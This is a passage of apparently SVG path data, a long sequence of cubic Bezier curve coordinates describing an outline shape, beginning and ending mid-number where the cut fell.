77091.99 137101.48 77081.44 137155.96 77070.26C137197.64 77059.84 137239.32 77049.42 137281.00 77039.00C137302.33 77049.67 137323.67 77060.33 137345.00 77071.00C137367.14 77092.49 137389.45 77113.84 137410.81 77136.11C137442.55 77178.72 137474.27 77221.37 137506.00 77264.00C137549.00 77253.33 137592.00 77242.67 137635.00 77232.00C137699.33 77242.67 137763.67 77253.33 137828.00 77264.00C137903.00 77210.33 137978.00 77156.67 138053.00 77103.00C138074.33 77092.33 138095.67 77081.67 138117.00 77071.00C138127.67 77071.00 138138.33 77071.00 138149.00 77071.00C138159.67 77081.66 138170.33 77092.34 138181.00 77103.00C138192.00 77199.33 138203.00 77295.67 138214.00 77392.00C138235.33 77424.34 138256.67 77456.66 138278.00 77489.00C138288.67 77478.34 138299.33 77467.66 138310.00 77457.00C138342.33 77446.33 138374.67 77435.67 138407.00 77425.00C138449.67 77446.33 138492.33 77467.67 138535.00 77489.00C138569.16 77477.87 138603.16 77466.24 138637.43 77455.43C138710.62 77434.29 138783.81 77413.15 138857.00 77392.00C138921.33 77424.33 138985.67 77456.67 139050.00 77489.00C139125.00 77499.67 139200.00 77510.33 139275.00 77521.00C139350.00 77478.00 139425.00 77435.00 139500.00 77392.00C139521.33 77370.66 139542.67 77349.34 139564.00 77328.00C139574.67 77296.00 139585.33 77264.00 139596.00 77232.00C139585.27 77199.57 139574.66 77167.10 139563.85 77134.70C139553.23 77113.47 139542.62 77092.23 139532.00 77071.00C139553.33 77038.66 139574.67 77006.34 139596.00 76974.00C139606.67 76995.66 139617.33 77017.34 139628.00 77039.00C139660.33 77039.00 139692.67 77039.00 139725.00 77039.00C139725.00 77060.33 139725.00 77081.67 139725.00 77103.00C139714.33 77113.66 139703.67 77124.34 139693.00 77135.00C139703.67 77178.00 139714.33 77221.00 139725.00 77264.00C139725.00 77349.67 139725.00 77435.33 139725.00 77521.00C139714.31 77531.79 139703.41 77542.38 139692.85 77553.30C139681.84 77576.04 139670.22 77598.51 139659.61 77621.43C139638.10 77674.14 139616.91 77726.98 139595.20 77779.60C139574.14 77822.07 139553.06 77864.53 139532.00 77907.00C139510.67 77917.67 139489.33 77928.33 139468.00 77939.00C139403.67 77939.00 139339.33 77939.00 139275.00 77939.00C139232.31 77959.91 139189.75 77981.09 139147.22 78002.33C139141.36 78003.84 139134.93 78002.59 139128.84 78003.00C139124.21 78003.65 139116.95 78001.68 139114.00 78004.02C139114.00 78025.34 139114.00 78046.67 139114.00 78068.00C139103.33 78089.33 139092.67 78110.67 139082.00 78132.00C139103.33 78164.00 139124.67 78196.00 139146.00 78228.00C139135.33 78271.00 139124.67 78314.00 139114.00 78357.00C139049.67 78357.00 138985.33 78357.00 138921.00 78357.00C138888.93 78378.43 138856.77 78399.72 138824.76 78421.24C138803.17 78442.82 138781.59 78464.41 138760.00 78486.00C138749.33 78507.33 138738.67 78528.67 138728.00 78550.00C138663.56 78593.04 138599.18 78636.17 138534.70 78679.15C138513.47 78689.77 138492.23 78700.38 138471.00 78711.00C138460.33 78743.00 138449.67 78775.00 138439.00 78807.00C138417.33 78807.00 138395.67 78807.00 138374.00 78807.00C138352.67 78817.67 138331.33 78828.33 138310.00 78839.00C138278.00 78839.00 138246.00 78839.00 138214.00 78839.00C138203.00 78849.67 138192.00 78860.33 138181.00 78871.00C138170.33 78914.00 138159.67 78957.00 138149.00 79000.00C138106.33 79010.67 138063.67 79021.33 138021.00 79032.00C138021.00 79064.33 138021.00 79096.67 138021.00 79129.00C138010.21 79139.69 137999.62 79150.58 137988.70 79161.15C137967.13 79171.76 137945.57 79182.38 137924.00 79193.00C137892.00 79182.33 137860.00 79171.67 137828.00 79161.00C137795.67 79193.00 137763.33 79225.00 137731.00 79257.00C137699.00 79257.00 137667.00 79257.00 137635.00 79257.00C137602.67 79268.00 137570.33 79279.00 137538.00 79290.00C137527.33 79279.00 137516.67 79268.00 137506.00 79257.00C137474.00 79268.00 137442.00 79279.00 137410.00 79290.00C137410.00 79300.67 137410.00 79311.33 137410.00 79322.00C137366.90 79343.14 137323.89 79364.44 137281.00 79386.00C137281.00 79396.67 137281.00 79407.33 137281.00 79418.00C137291.84 79429.06 137303.16 79439.71 137313.70 79451.04C137335.23 79483.09 137356.62 79515.24 137378.24 79547.24C137388.83 79557.82 137399.41 79568.41 137410.00 79579.00C137409.80 79590.10 137410.43 79601.28 137409.67 79612.33C137399.11 79654.89 137388.56 79697.44 137378.00 79740.00C137319.89 79778.27 137261.83 79816.61 137204.07 79855.42C137165.38 79881.28 137126.69 79907.14 137088.00 79933.00C137099.01 79933.23 137110.13 79932.54 137121.08 79933.35C137153.05 79943.90 137185.02 79954.45 137217.00 79965.00C137217.00 80007.67 137217.00 80050.33 137217.00 80093.00C137206.33 80114.66 137195.67 80136.34 137185.00 80158.00C137120.45 80189.56 137056.28 80221.88 136992.00 80254.00C136981.31 80264.79 136970.41 80275.38 136959.85 80286.30C136949.13 80308.35 136937.96 80330.20 136927.52 80352.38C136916.68 80383.92 136905.84 80415.46 136895.00 80447.00C136895.00 80457.67 136895.00 80468.33 136895.00 80479.00C136916.67 80522.00 136938.33 80565.00 136960.00 80608.00C136960.00 80618.67 136960.00 80629.33 136960.00 80640.00C136906.33 80672.00 136852.67 80704.00 136799.00 80736.00C136777.67 80768.34 136756.33 80800.66 136735.00 80833.00C136681.33 80865.00 136627.67 80897.00 136574.00 80929.00C136563.31 80940.12 136552.42 80951.06 136541.85 80962.30C136530.91 80983.54 136519.95 81004.77 136509.00 81026.00C136477.00 81047.33 136445.00 81068.67 136413.00 81090.00C136402.33 81090.00 136391.67 81090.00 136381.00 81090.00C136381.00 81122.33 136381.00 81154.67 136381.00 81187.00C136348.67 81219.00 136316.33 81251.00 136284.00 81283.00C136252.00 81368.67 136220.00 81454.33 136188.00 81540.00C136177.33 81647.33 136166.67 81754.67 136156.00 81862.00C136123.12 81916.42 136090.52 81971.02 136057.45 82025.33C136036.63 82056.55 136015.82 82087.78 135995.00 82119.00C135973.67 82119.00 135952.33 82119.00 135931.00 82119.00C135802.33 82183.33 135673.67 82247.67 135545.00 82312.00C135502.00 82322.67 135459.00 82333.33 135416.00 82344.00C135426.67 82365.33 135437.33 82386.67 135448.00 82408.00C135437.33 82440.33 135426.67 82472.67 135416.00 82505.00C135405.33 82505.00 135394.67 82505.00 135384.00 82505.00C135384.00 82526.33 135384.00 82547.67 135384.00 82569.00C135394.67 82579.66 135405.33 82590.34 135416.00 82601.00C135416.05 82622.77 135415.89 82644.55 135416.08 82666.33C135426.72 82708.88 135437.36 82751.44 135448.00 82794.00C135469.67 82826.33 135491.33 82858.67 135513.00 82891.00C135545.00 82901.67 135577.00 82912.33 135609.00 82923.00C135619.67 82923.00 135630.33 82923.00 135641.00 82923.00C135662.67 82933.67 135684.33 82944.33 135706.00 82955.00C135706.00 83008.67 135706.00 83062.33 135706.00 83116.00C135738.00 83137.33 135770.00 83158.67 135802.00 83180.00C135802.00 83244.33 135802.00 83308.67 135802.00 83373.00C135812.67 83405.00 135823.33 83437.00 135834.00 83469.00C135851.91 83487.54 135869.77 83506.14 135888.52 83523.84C135892.61 83527.23 135895.81 83532.09 135900.50 83534.50C135932.00 83545.00 135963.50 83555.50 135995.00 83566.00C136005.67 83587.33 136016.33 83608.67 136027.00 83630.00C136080.67 83630.00 136134.33 83630.00 136188.00 83630.00C136220.00 83640.67 136252.00 83651.33 136284.00 83662.00C136295.00 83683.67 136306.00 83705.33 136317.00 83727.00C136327.67 83737.66 136338.33 83748.34 136349.00 83759.00C136359.67 83759.00 136370.33 83759.00 136381.00 83759.00C136402.33 83748.33 136423.67 83737.67 136445.00 83727.00C136488.00 83727.00 136531.00 83727.00 136574.00 83727.00C136595.33 83737.67 136616.67 83748.33 136638.00 83759.00C136691.67 83748.33 136745.33 83737.67 136799.00 83727.00C136842.38 83748.41 136885.59 83770.19 136929.07 83791.35C136960.71 83801.90 136992.36 83812.45 137024.00 83823.00C137034.67 83823.00 137045.33 83823.00 137056.00 83823.00C137077.33 83833.67 137098.67 83844.33 137120.00 83855.00C137141.67 83855.00 137163.33 83855.00 137185.00 83855.00C137206.33 83876.67 137227.67 83898.33 137249.00 83920.00C137249.00 83930.67 137249.00 83941.33 137249.00 83952.00C137259.67 83973.33 137270.33 83994.67 137281.00 84016.00C137323.90 84037.53 137366.89 84058.88 137410.00 84080.00C137420.79 84069.31 137431.38 84058.42 137442.30 84047.85C137463.53 84037.23 137484.77 84026.62 137506.00 84016.00C137516.67 84037.33 137527.33 84058.67 137538.00 84080.00C137570.33 84080.00 137602.67 84080.00 137635.00 84080.00C137656.33 84069.33 137677.67 84058.67 137699.00 84048.00C137709.67 84058.66 137720.33 84069.34 137731.00 84080.00C137763.33 84091.00 137795.67 84102.00 137828.00 84113.00C137838.67 84113.00 137849.33 84113.00 137860.00 84113.00C137870.67 84123.66 137881.33 84134.34 137892.00 84145.00C137892.00 84177.00 137892.00 84209.00 137892.00 84241.00C137817.00 84251.67 137742.00 84262.33 137667.00 84273.00C137635.00 84283.67 137603.00 84294.33 137571.00 84305.00C137538.67 84294.33 137506.33 84283.67 137474.00 84273.00C137452.67 84283.67 137431.33 84294.33 137410.00 84305.00C137356.24 84283.59 137302.43 84262.32 137248.71 84240.83C137195.14 84208.88 137141.57 84176.94 137088.00 84145.00C137056.00 84145.00 137024.00 84145.00 136992.00 84145.00C136970.67 84155.67 136949.33 84166.33 136928.00 84177.00C136906.33 84166.33 136884.67 84155.67 136863.00 84145.00C136841.67 84155.67 136820.33 84166.33 136799.00 84177.00C136799.00 84198.33 136799.00 84219.67 136799.00 84241.00C136809.67 84262.33 136820.33 84283.67 136831.00 84305.00C136841.67 84316.00 136852.33 84327.00 136863.00 84338.00C136873.67 84370.00 136884.33 84402.00 136895.00 84434.00C136895.00 84455.33 136895.00 84476.67 136895.00 84498.00C136873.67 84509.00 136852.33 84520.00 136831.00 84531.00C136799.00 84584.33 136767.00 84637.67 136735.00 84691.00C136680.81 84712.97 136626.49 84734.62 136572.39 84756.79C136551.26 84767.19 136530.13 84777.60 136509.00 84788.00C136520.00 84798.67 136531.00 84809.33 136542.00 84820.00C136574.00 84809.33 136606.00 84798.67 136638.00 84788.00C136659.33 84809.34 136680.67 84830.66 136702.00 84852.00C136723.67 84862.67 136745.33 84873.33 136767.00 84884.00C136767.00 84894.67 136767.00 84905.33 136767.00 84916.00C136745.33 84927.00 136723.67 84938.00 136702.00 84949.00C136702.00 84959.67 136702.00 84970.33 136702.00 84981.00C136713.00 84991.67 136724.00 85002.33 136735.00 85013.00C136724.00 85034.33 136713.00 85055.67 136702.00 85077.00C136680.67 85087.67 136659.33 85098.33 136638.00 85109.00C136638.00 85130.67 136638.00 85152.33 136638.00 85174.00C136627.33 85184.66 136616.67 85195.34 136606.00 85206.00C136584.67 85195.33 136563.33 85184.67 136542.00 85174.00C136531.00 85184.67 136520.00 85195.33 136509.00 85206.00C136520.00 85227.33 136531.00 85248.67 136542.00 85270.00C136531.00 85291.33 136520.00 85312.67 136509.00 85334.00C136530.67 85366.33 136552.33 85398.67 136574.00 85431.00C136595.33 85420.33 136616.67 85409.67 136638.00 85399.00C136670.06 85431.28 136702.61 85463.06 136735.00 85495.00C136756.33 85495.00 136777.67 85495.00 136799.00 85495.00C136842.00 85473.67 136885.00 85452.33 136928.00 85431.00C136960.09 85441.73 136992.23 85452.34 137024.30 85463.15C137067.10 85484.63 137110.00 85505.93 137153.00 85527.00C137195.67 85516.33 137238.33 85505.67 137281.00 85495.00C137302.33 85473.66 137323.67 85452.34 137345.00 85431.00C137377.33 85431.00 137409.67 85431.00 137442.00 85431.00C137452.67 85452.33 137463.33 85473.67 137474.00 85495.00C137474.00 85516.33 137474.00 85537.67 137474.00 85559.00C137442.00 85591.33 137410.00 85623.67 137378.00 85656.00C137345.67 85656.00 137313.33 85656.00 137281.00 85656.00C137227.33 85677.33 137173.67 85698.67 137120.00 85720.00C137056.00 85730.67 136992.00 85741.33 136928.00 85752.00C136906.22 85752.05 136884.45 85751.89 136862.67 85752.08C136820.11 85762.73 136777.56 85773.36 136735.00 85784.00C136724.00 85805.67 136713.00 85827.33 136702.00 85849.00C136691.21 85859.69 136680.62 85870.58 136669.70 85881.15C136648.47 85891.77 136627.23 85902.38 136606.00 85913.00C136573.67 85945.34 136541.33 85977.66 136509.00 86010.00C136509.00 86031.33 136509.00 86052.67 136509.00 86074.00C136498.33 86074.00 136487.67 86074.00 136477.00 86074.00C136455.67 86084.67 136434.33 86095.33 136413.00 86106.00C136413.00 86127.33 136413.00 86148.67 136413.00 86170.00C136434.33 86191.67 136455.67 86213.33 136477.00 86235.00C136477.00 86245.67 136477.00 86256.33 136477.00 86267.00C136487.67 86277.66 136498.33 86288.34 136509.00 86299.00C136487.67 86309.67 136466.33 86320.33 136445.00 86331.00C136455.67 86352.33 136466.33 86373.67 136477.00 86395.00C136477.00 86406.00 136477.00 86417.00 136477.00 86428.00C136498.67 86438.67 136520.33 86449.33 136542.00 86460.00C136552.67 86481.33 136563.33 86502.67 136574.00 86524.00C136563.33 86545.33 136552.67 86566.67 136542.00 86588.00C136542.00 86609.67 136542.00 86631.33 136542.00 86653.00C136531.00 86685.00 136520.00 86717.00 136509.00 86749.00C136509.00 86759.67 136509.00 86770.33 136509.00 86781.00C136487.67 86791.67 136466.33 86802.33 136445.00 86813.00C136455.67 86824.00 136466.33 86835.00 136477.00 86846.00C136477.00 86867.33 136477.00 86888.67 136477.00 86910.00C136466.33 86920.66 136455.67 86931.34 136445.00 86942.00C136477.33 86952.67 136509.67 86963.33 136542.00 86974.00C136542.00 86995.33 136542.00 87016.67 136542.00 87038.00C136552.67 87049.00 136563.33 87060.00 136574.00 87071.00C136563.33 87103.00 136552.67 87135.00 136542.00 87167.00C136520.33 87177.67 136498.67 87188.33 136477.00 87199.00C136487.67 87199.00 136498.33 87199.00 136509.00 87199.00C136530.67 87231.33 136552.33 87263.67 136574.00 87296.00C136563.31 87306.79 136552.42 87317.39 136541.85 87328.30C136530.91 87349.54 136519.95 87370.77 136509.00 87392.00C136541.33 87402.67 136573.67 87413.33 136606.00 87424.00C136617.01 87424.23 136628.13 87423.54 136639.08 87424.35C136671.05 87434.90 136703.02 87445.45 136735.00 87456.00C136745.67 87456.00 136756.33 87456.00 136767.00 87456.00C136767.00 87467.00 136767.00 87478.00 136767.00 87489.00C136724.00 87499.67 136681.00 87510.33 136638.00 87521.00C136638.00 87542.33 136638.00 87563.67 136638.00 87585.00C136627.33 87595.66 136616.67 87606.34 136606.00 87617.00C136616.67 87627.66 136627.33 87638.34 136638.00 87649.00C136648.67 87638.34 136659.33 87627.66 136670.00 87617.00C136680.67 87638.66 136691.33 87660.34 136702.00 87682.00C136723.67 87692.67 136745.33 87703.33 136767.00 87714.00C136777.67 87714.00 136788.33 87714.00 136799.00 87714.00C136831.00 87735.33 136863.00 87756.67 136895.00 87778.00C136906.00 87799.33 136917.00 87820.67 136928.00 87842.00C136917.00 87852.67 136906.00 87863.33 136895.00 87874.00C136895.00 87895.67 136895.00 87917.33 136895.00 87939.00C136884.33 87949.66 136873.67 87960.34 136863.00 87971.00C136863.00 87981.67 136863.00 87992.33 136863.00 88003.00C136873.67 88013.66 136884.33 88024.34 136895.00 88035.00C136906.00 88024.33 136917.00 88013.67 136928.00 88003.00C136960.00 88003.00 136992.00 88003.00 137024.00 88003.00C137045.33 88024.34 137066.67 88045.66 137088.00 88067.00C137098.67 88088.66 137109.33 88110.34 137120.00 88132.00C137120.00 88142.67 137120.00 88153.33 137120.00 88164.00C137109.33 88185.33 137098.67 88206.67 137088.00 88228.00C137088.00 88281.67 137088.00 88335.33 137088.00 88389.00C137131.00 88399.67 137174.00 88410.33 137217.00 88421.00C137292.47 88388.87 137367.84 88356.49 137443.38 88324.53C137474.92 88313.68 137506.46 88302.84 137538.00 88292.00C137549.00 88313.67 137560.00 88335.33 137571.00 88357.00C137560.00 88378.33 137549.00 88399.67 137538.00 88421.00C137549.00 88442.33 137560.00 88463.67 137571.00 88485.00C137560.00 88517.33 137549.00 88549.67 137538.00 88582.00C137473.67 88582.00 137409.33 88582.00 137345.00 88582.00C137301.63 88592.96 137258.15 88603.49 137214.85 88614.71C137183.24 88625.14 137151.62 88635.57 137120.00 88646.00C137109.33 88646.00 137098.67 88646.00 137088.00 88646.00C137077.33 88656.66 137066.67 88667.34 137056.00 88678.00C137045.33 88710.33 137034.67 88742.67 137024.00 88775.00C137002.67 88796.34 136981.33 88817.66 136960.00 88839.00C136970.67 88860.33 136981.33 88881.67 136992.00 88903.00C136970.67 88956.67 136949.33 89010.33 136928.00 89064.00C136949.33 89074.67 136970.67 89085.33 136992.00 89096.00C136992.00 89106.67 136992.00 89117.33 136992.00 89128.00C137013.33 89128.00 137034.67 89128.00 137056.00 89128.00C137066.67 89149.66 137077.33 89171.34 137088.00 89193.00C137066.67 89214.34 137045.33 89235.66 137024.00 89257.00C137002.67 89267.67 136981.33 89278.33 136960.00 89289.00C136938.33 89321.33 136916.67 89353.67 136895.00 89386.00C136906.00 89386.00 136917.00 89386.00 136928.00 89386.00C136928.00 89396.67 136928.00 89407.33 136928.00 89418.00C136949.33 89428.67 136970.67 89439.33 136992.00 89450.00C137002.67 89460.66 137013.33 89471.34 137024.00 89482.00C137024.00 89525.00 137024.00 89568.00 137024.00 89611.00C137002.67 89621.67 136981.33 89632.33 136960.00 89643.00C136970.67 89664.33 136981.33 89685.67 136992.00 89707.00C136992.00 89728.33 136992.00 89749.67 136992.00 89771.00C136981.33 89782.00 136970.67 89793.00 136960.00 89804.00C136960.00 89846.67 136960.00 89889.33 136960.00 89932.00C136981.44 89953.39 137002.90 89974.79 137023.67 89996.83C137030.53 90009.39 137036.58 90022.48 137043.12 90035.24C137047.41 90043.83 137051.71 90052.41 137056.00 90061.00C137034.56 90082.38 137013.24 90103.88 136991.72 90125.19C136959.48 90146.79 136927.24 90168.40 136895.00 90190.00C136916.67 90222.00 136938.33 90254.00 136960.00 90286.00C136938.78 90328.67 136917.27 90371.20 136895.71 90413.70C136894.10 90419.63 136895.42 90426.16 136895.00 90432.34C136895.01 90448.00 136895.05 90463.66 136894.93 90479.33C136884.28 90532.89 136873.64 90586.44 136863.00 90640.00C136895.33 90629.00 136927.67 90618.00 136960.00 90607.00C136970.67 90585.67 136981.33 90564.33 136992.00 90543.00C137004.16 90543.33 137016.40 90542.29 137028.50 90543.64C137102.00 90554.09 137175.50 90564.55 137249.00 90575.00C137281.00 90553.67 137313.00 90532.33 137345.00 90511.00C137366.67 90511.00 137388.33 90511.00 137410.00 90511.00C137485.00 90479.00 137560.00 90447.00 137635.00 90415.00C137677.90 90436.53 137720.89 90457.88 137764.00 90479.00C137752.88 90489.69 137741.94 90500.58 137730.70 90511.15C137688.13 90532.43 137645.57 90553.72 137603.00 90575.00C137581.33 90564.33 137559.67 90553.67 137538.00 90543.00C137506.00 90553.67 137474.00 90564.33 137442.00 90575.00C137442.00 90585.67 137442.00 90596.33 137442.00 90607.00C137420.91 90628.91 137399.61 90650.61 137378.00 90672.00C137335.00 90672.00 137292.00 90672.00 137249.00 90672.00C137217.00 90682.67 137185.00 90693.33 137153.00 90704.00C137153.00 90693.33 137153.00 90682.67 137153.00 90672.00C137099.33 90693.33 137045.67 90714.67 136992.00 90736.00C136981.33 90725.34 136970.67 90714.66 136960.00 90704.00C136949.33 90714.66 136938.67 90725.34 136928.00 90736.00C136895.67 90746.67 136863.33 90757.33 136831.00 90768.00C136788.00 90768.00 136745.00 90768.00 136702.00 90768.00C136702.00 90778.67 136702.00 90789.33 136702.00 90800.00C136659.33 90811.00 136616.67 90822.00 136574.00 90833.00C136552.33 90822.00 136530.67 90811.00 136509.00 90800.00C136520.00 90778.67 136531.00 90757.33 136542.00 90736.00C136531.00 90725.33 136520.00 90714.67 136509.00 90704.00C136520.00 90693.33 136531.00 90682.67 136542.00 90672.00C136542.00 90639.67 136542.00 90607.33 136542.00 90575.00C136552.67 90564.34 136563.33 90553.66 136574.00 90543.00C136574.00 90500.33 136574.00 90457.67 136574.00 90415.00C136563.33 90404.00 136552.67 90393.00 136542.00 90382.00C136552.67 90371.34 136563.33 90360.66 136574.00 90350.00C136563.33 90339.34 136552.67 90328.66 136542.00 90318.00C136552.67 90307.34 136563.33 90296.66 136574.00 90286.00C136563.33 90286.00 136552.67 90286.00 136542.00 90286.00C136552.67 90264.67 136563.33 90243.33 136574.00 90222.00C136552.33 90211.33 136530.67 90200.67 136509.00 90190.00C136509.00 90168.33 136509.00 90146.67 136509.00 90125.00C136509.00 90135.67 136509.00 90146.33 136509.00 90157.00C136498.33 90146.34 136487.67 90135.66 136477.00 90125.00C136455.67 90135.67 136434.33 90146.33 136413.00 90157.00C136402.33 90146.34 136391.67 90135.66 136381.00 90125.00C136370.33 90125.00 136359.67 90125.00 136349.00 90125.00C136349.00 90093.00 136349.00 90061.00 136349.00 90029.00C136338.33 90018.34 136327.67 90007.66 136317.00 89997.00C136295.33 90179.00 136273.67 90361.00 136252.00 90543.00C136241.33 90543.00 136230.67 90543.00 136220.00 90543.00C136198.67 90564.34 136177.33 90585.66 136156.00 90607.00C136156.00 90650.00 136156.00 90693.00 136156.00 90736.00C135866.55 90735.99 135577.11 90736.03 135287.66 90735.98C135105.44 90725.32 134923.22 90714.66 134741.00 90704.00C134634.00 90768.33 134527.00 90832.67 134420.00 90897.00C134409.00 90897.00 134398.00 90897.00 134387.00 90897.00C134398.00 90907.67 134409.00 90918.33 134420.00 90929.00C134398.33 90939.67 134376.67 90950.33 134355.00 90961.00C134355.00 90982.33 134355.00 91003.67 134355.00 91025.00C134344.33 91025.00 134333.67 91025.00 134323.00 91025.00C134312.33 91046.66 134301.67 91068.34 134291.00 91090.00C134291.00 91100.67 134291.00 91111.33 134291.00 91122.00C134280.33 91122.00 134269.67 91122.00 134259.00 91122.00C134259.00 91143.33 134259.00 91164.67 134259.00 91186.00C134226.67 91196.67 134194.33 91207.33 134162.00 91218.00C134162.00 91196.67 134162.00 91175.33 134162.00 91154.00C134151.33 91164.66 134140.67 91175.34 134130.00 91186.00C134130.00 91164.67 134130.00 91143.33 134130.00 91122.00C134108.67 91122.00 134087.33 91122.00 134066.00 91122.00C134055.33 91143.33 134044.67 91164.67 134034.00 91186.00C134012.33 91196.67 133990.67 91207.33 133969.00 91218.00C133947.67 91239.67 133926.33 91261.33 133905.00 91283.00C133905.00 91293.67 133905.00 91304.33 133905.00 91315.00C133873.00 91325.67 133841.00 91336.33 133809.00 91347.00C133798.00 91368.33 133787.00 91389.67 133776.00 91411.00C133754.67 91411.00 133733.33 91411.00 133712.00 91411.00C133690.67 91432.67 133669.33 91454.33 133648.00 91476.00C133648.00 91486.67 133648.00 91497.33 133648.00 91508.00C133637.33 91508.00 133626.67 91508.00 133616.00 91508.00C133616.00 91497.33 133616.00 91486.67 133616.00 91476.00C133583.67 91476.00 133551.33 91476.00 133519.00 91476.00C133519.00 91508.00 133519.00 91540.00 133519.00 91572.00C133497.67 91572.00 133476.33 91572.00 133455.00 91572.00C133433.67 91582.67 133412.33 91593.33 133391.00 91604.00C133380.33 91604.00 133369.67 91604.00 133359.00 91604.00C133347.88 91614.69 133336.94 91625.58 133325.70 91636.15C133304.47 91647.10 133283.23 91658.05 133262.00 91669.00C133251.33 91658.00 133240.67 91647.00 133230.00 91636.00C133230.00 91647.00 133230.00 91658.00 133230.00 91669.00C133208.67 91669.00 133187.33 91669.00 133166.00 91669.00C133166.00 91690.33 133166.00 91711.67 133166.00 91733.00C133155.00 91743.67 133144.00 91754.33 133133.00 91765.00C133133.00 91754.33 133133.00 91743.67 133133.00 91733.00C133122.33 91722.34 133111.67 91711.66 133101.00 91701.00C133090.33 91711.66 133079.67 91722.34 133069.00 91733.00C133069.00 91743.67 133069.00 91754.33 133069.00 91765.00C133058.33 91765.00 133047.67 91765.00 133037.00 91765.00C133037.00 91743.67 133037.00 91722.33 133037.00 91701.00C133026.33 91711.66 133015.67 91722.34 133005.00 91733.00C132983.33 91733.00 132961.67 91733.00 132940.00 91733.00C132918.67 91754.34 132897.33 91775.66 132876.00 91797.00C132886.67 91797.00 132897.33 91797.00 132908.00 91797.00C132908.00 91818.33 132908.00 91839.67 132908.00 91861.00C132886.67 91872.00 132865.33 91883.00 132844.00 91894.00C132822.67 91883.00 132801.33 91872.00 132780.00 91861.00C132769.33 91872.00 132758.67 91883.00 132748.00 91894.00C132726.33 91883.00 132704.67 91872.00 132683.00 91861.00C132693.67 91850.34 132704.33 91839.66 132715.00 91829.00C132704.33 91818.34 132693.67 91807.66 132683.00 91797.00C132661.67 91807.67 132640.33 91818.33 132619.00 91829.00C132597.67 91818.33 132576.33 91807.67 132555.00 91797.00C132544.33 91807.66 132533.67 91818.34 132523.00 91829.00C132501.33 91829.00 132479.67 91829.00 132458.00 91829.00C132458.00 91839.67 132458.00 91850.33 132458.00 91861.00C132426.00 91872.00 132394.00 91883.00 132362.00 91894.00C132372.67 91926.00 132383.33 91958.00 132394.00 91990.00C132383.33 92000.66 132372.67 92011.34 132362.00 92022.00C132340.33 92022.00 132318.67 92022.00 132297.00 92022.00C132297.00 92043.67 132297.00 92065.33 132297.00 92087.00C132286.33 92087.00 132275.67 92087.00 132265.00 92087.00C132254.33 92108.33 132243.67 92129.67 132233.00 92151.00C132211.67 92151.00 132190.33 92151.00 132169.00 92151.00C132179.67 92140.34 132190.33 92129.66 132201.00 92119.00C132190.33 92119.00 132179.67 92119.00 132169.00 92119.00C132169.00 92108.33 132169.00 92097.67 132169.00 92087.00C132136.67 92087.00 132104.33 92087.00 132072.00 92087.00C132061.33 92097.66 132050.67 92108.34 132040.00 92119.00C132008.00 92108.33 131976.00 92097.67 131944.00 92087.00C131922.33 92087.00 131900.67 92087.00 131879.00 92087.00C131847.06 92054.61 131815.28 92022.06 131783.00 91990.00C131772.33 92011.33 131761.67 92032.67 131751.00 92054.00C131740.33 92054.00 131729.67 92054.00 131719.00 92054.00C131708.33 92065.00 131697.67 92076.00 131687.00 92087.00C131687.00 92108.33 131687.00 92129.67 131687.00 92151.00C131654.67 92161.67 131622.33 92172.33 131590.00 92183.00C131579.33 92215.00 131568.67 92247.00 131558.00 92279.00C131547.33 92279.00 131536.67 92279.00 131526.00 92279.00C131515.33 92268.34 131504.67 92257.66 131494.00 92247.00C131494.00 92225.67 131494.00 92204.33 131494.00 92183.00C131461.67 92151.00 131429.33 92119.00 131397.00 92087.00C131407.67 92076.00 131418.33 92065.00 131429.00 92054.00C131461.33 92043.33 131493.67 92032.67 131526.00 92022.00C131515.21 92011.31 131504.62 92000.42 131493.70 91989.85C131472.13 91979.24 131450.57 91968.62 131429.00 91958.00C131407.67 91968.67 131386.33 91979.33 131365.00 91990.00C131322.00 91979.33 131279.00 91968.67 131236.00 91958.00C131236.00 91936.67 131236.00 91915.33 131236.00 91894.00C131257.67 91851.00 131279.33 91808.00 131301.00 91765.00C131279.33 91765.00 131257.67 91765.00 131236.00 91765.00C131214.67 91775.67 131193.33 91786.33 131172.00 91797.00C131161.33 91797.00 131150.67 91797.00 131140.00 91797.00C131118.67 91786.33 131097.33 91775.67 131076.00 91765.00C131065.00 91765.00 131054.00 91765.00 131043.00 91765.00C131021.67 91775.67 131000.33 91786.33 130979.00 91797.00C130947.00 91786.33 130915.00 91775.67 130883.00 91765.00C130872.33 91711.33 130861.67 91657.67 130851.00 91604.00C130861.67 91561.33 130872.33 91518.67 130883.00 91476.00C130872.33 91465.00 130861.67 91454.00 130851.00 91443.00C130818.67 91443.00 130786.33 91443.00 130754.00 91443.00C130711.00 91421.67 130668.00 91400.33 130625.00 91379.00C130614.33 91389.66 130603.67 91400.34 130593.00 91411.00C130582.33 91400.34 130571.67 91389.66 130561.00 91379.00C130550.33 91400.33 130539.67 91421.67 130529.00 91443.00C130518.33 91454.00 130507.67 91465.00 130497.00 91476.00C130497.00 91486.67 130497.00 91497.33 130497.00 91508.00C130486.33 91508.00 130475.67 91508.00 130465.00 91508.00C130475.67 91518.66 130486.33 91529.34 130497.00 91540.00C130497.00 91561.33 130497.00 91582.67 130497.00 91604.00C130486.33 91604.00 130475.67 91604.00 130465.00 91604.00C130465.00 91614.67 130465.00 91625.33 130465.00 91636.00C130454.33 91647.00 130443.67 91658.00 130433.00 91669.00C130411.33 91679.67 130389.67 91690.33 130368.00 91701.00C130400.33 91711.67 130432.67 91722.33 130465.00 91733.00C130454.33 91754.33 130443.67 91775.67 130433.00 91797.00C130422.00 91807.67 130411.00 91818.33 130400.00 91829.00C130411.00 91829.00 130422.00 91829.00 130433.00 91829.00C130422.00 91839.67 130411.00 91850.33 130400.00 91861.00C130411.00 91872.00 130422.00 91883.00 130433.00 91894.00C130422.00 91894.00 130411.00 91894.00 130400.00 91894.00C130400.00 91904.67 130400.00 91915.33 130400.00 91926.00C130421.67 91936.67 130443.33 91947.33 130465.00 91958.00C130465.00 91968.67 130465.00 91979.33 130465.00 91990.00C130454.33 92000.66 130443.67 92011.34 130433.00 92022.00C130454.33 92032.67 130475.67 92043.33 130497.00 92054.00C130497.00 92065.00 130497.00 92076.00 130497.00 92087.00C130507.67 92108.33 130518.33 92129.67 130529.00 92151.00C130507.67 92172.34 130486.33 92193.66 130465.00 92215.00C130454.33 92215.00 130443.67 92215.00 130433.00 92215.00C130433.00 92258.00 130433.00 92301.00 130433.00 92344.00C130443.67 92365.33 130454.33 92386.67 130465.00 92408.00C130454.33 92418.66 130443.67 92429.34 130433.00 92440.00C130443.67 92472.33 130454.33 92504.67 130465.00 92537.00C130465.00 92558.33 130465.00 92579.67 130465.00 92601.00C130486.33 92622.34 130507.67 92643.66 130529.00 92665.00C130550.33 92665.00 130571.67 92665.00 130593.00 92665.00C130593.00 